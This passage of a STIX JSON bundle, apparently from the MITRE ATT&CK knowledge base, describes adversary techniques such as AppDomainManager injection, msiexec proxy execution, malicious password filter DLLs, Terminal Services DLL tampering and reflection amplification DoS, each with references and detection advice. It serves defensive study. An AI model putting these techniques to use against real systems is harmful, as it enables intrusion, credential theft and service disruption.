Tools and Techniques) ",
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            "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
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                    "external_id": "T1071"
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                {
                    "source_name": "Mandiant APT29 Eye Spy Email Nov 22",
                    "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1574/014",
                    "external_id": "T1574.014"
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                {
                    "source_name": "PenTestLabs AppDomainManagerInject",
                    "description": "Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024.",
                    "url": "https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/"
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                {
                    "source_name": "Microsoft App Domains",
                    "description": "Microsoft. (2021, September 15). Application domains. Retrieved March 28, 2024.",
                    "url": "https://learn.microsoft.com/dotnet/framework/app-domains/application-domains"
                },
                {
                    "source_name": "PwC Yellow Liderc",
                    "description": "PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024.",
                    "url": "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"
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                {
                    "source_name": "Rapid7 AppDomain Manager Injection",
                    "description": "Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.",
                    "url": "https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/"
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            "description": "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager Injection)",
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                    "external_id": "T1074.002"
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                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
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            "name": "Remote Data Staging",
            "description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.",
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                    "external_id": "T1098.006"
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                {
                    "source_name": "AWS EKS IAM Roles for Service Accounts",
                    "description": "Amazon Web Services. (n.d.). IAM roles for service accounts. Retrieved July 14, 2023.",
                    "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
                },
                {
                    "source_name": "Google Cloud Kubernetes IAM",
                    "description": "Google Cloud. (n.d.). Create IAM policies. Retrieved July 14, 2023.",
                    "url": "https://cloud.google.com/kubernetes-engine/docs/how-to/iam"
                },
                {
                    "source_name": "Kuberentes ABAC",
                    "description": "Kuberenets. (n.d.). Using ABAC Authorization. Retrieved July 14, 2023.",
                    "url": "https://kubernetes.io/docs/reference/access-authn-authz/abac/"
                },
                {
                    "source_name": "Kubernetes RBAC",
                    "description": "Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.",
                    "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
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                {
                    "source_name": "Aquasec Kubernetes Attack 2023",
                    "description": "Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.",
                    "url": "https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"
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                {
                    "source_name": "Microsoft Azure Kubernetes Service Service Accounts",
                    "description": "Microsoft Azure. (2023, April 28). Access and identity options for Azure Kubernetes Service (AKS). Retrieved July 14, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/aks/concepts-identity"
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            "name": "Additional Container Cluster Roles",
            "description": "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.  \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based  role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).",
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                {
                    "source_name": "ProofPoint Serpent",
                    "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"
                },
                {
                    "source_name": "TechNet Task Scheduler Security",
                    "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "created": "2020-01-24T14:38:49.266Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/007",
                    "external_id": "T1218.007"
                },
                {
                    "source_name": "TrendMicro Msiexec Feb 2018",
                    "description": "Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/"
                },
                {
                    "source_name": "LOLBAS Msiexec",
                    "description": "LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/"
                },
                {
                    "source_name": "Microsoft msiexec",
                    "description": "Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec"
                },
                {
                    "source_name": "Microsoft AlwaysInstallElevated 2018",
                    "description": "Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:16.547Z",
            "name": "Msiexec",
            "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ziv Kaspersky, Cymptom",
                "Alexandros Pappas"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Network Traffic: Network Connection Creation",
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1162",
                    "external_id": "T1162"
                },
                {
                    "source_name": "Adding Login Items",
                    "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "OSX.Dok Malware",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/564.html",
                    "external_id": "CAPEC-564"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-18T17:59:20.596Z",
            "name": "Login Item",
            "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well  (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e",
            "created": "2020-10-02T15:47:59.457Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590/003",
                    "external_id": "T1590.003"
                },
                {
                    "source_name": "Pentesting AD Forests",
                    "description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.",
                    "url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:53:01.571Z",
            "name": "Network Trust Dependencies",
            "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01",
            "created": "2020-03-02T20:08:03.691Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1498/002",
                    "external_id": "T1498.002"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "Cloudflare DNSamplficationDoS",
                    "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/"
                },
                {
                    "source_name": "Cloudflare NTPamplifciationDoS",
                    "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/"
                },
                {
                    "source_name": "Cloudflare ReflectionDoS May 2017",
                    "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.",
                    "url": "https://blog.cloudflare.com/reflections-on-reflections/"
                },
                {
                    "source_name": "Cloudflare Memcrashed Feb 2018",
                    "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.",
                    "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:59:22.782Z",
            "name": "Reflection Amplification",
            "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
            "created": "2020-02-11T19:05:45.829Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/002",
                    "external_id": "T1556.002"
                },
                {
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
                },
                {
                    "source_name": "Carnal Ownage Password Filters Sept 2013",
                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
                    "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:56:08.743Z",
            "name": "Password Filter DLL",
            "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "Module: Module Load"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8",
            "created": "2022-03-28T15:34:44.590Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1505/005",
                    "external_id": "T1505.005"
                },
                {
                    "source_name": "James TermServ DLL",
                    "description": "James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.",
                    "url": "https://x.com/james_inthe_box/status/1150495335812177920"
                },
                {
                    "source_name": "Microsoft System Services Fundamentals",
                    "description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022.",
                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx"
                },
                {
                    "source_name": "Microsoft Remote Desktop Services",
                    "description": "Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022.",
                    "url": "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services"
                },
                {
                    "source_name": "RDPWrap Github",
                    "description": "Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022.",
                    "url": "https://github.com/stascorp/rdpwrap"
                },
                {
                    "source_name": "Windows OS Hub RDP",
                    "description": "Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022.",
                    "url": "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:15:45.110Z",
            "name": "Terminal Services DLL",
            "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals) The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to Registry keys associated with <code>ServiceDll</code> and other subkey values under <code>HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\</code>.\n\nMonitor unexpected changes and/or interactions with <code>termsrv.dll</code>, which is typically stored in <code>%SystemRoot%\\System32\\</code>.\n\nMonitor commands as well as  processes and arguments for potential adversary actions to modify Registry values (ex: <code>reg.exe</code>) or modify/replace the legitimate <code>termsrv.dll</code>.\n\nMonitor module loads by the Terminal Services process (ex: <code>svchost.exe -k termsvcs</code>) for unexpected DLLs (the default is <code>%SystemRoot%\\System32\\termsrv.dll</code>, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Command: Command Execution",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
            "created": "2020-03-09T14:07:54.329Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/002",
                    "external_id": "T1059.002"
                },
                {
                    "source_name": "Apple AppleScript",
                    "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.",
                    "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html"
                },
                {
                    "source_name": "SentinelOne macOS Red Team",
                    "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
                    "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
                },
                {
                    "source_name": "SentinelOne AppleScript",
                    "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.",
                    "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/"
                },
                {
                    "source_name": "Macro Malware Targets Macs",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"
                }
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            "modified": "2025-04-15T19:58:22.484Z",
            "name": "AppleScript",
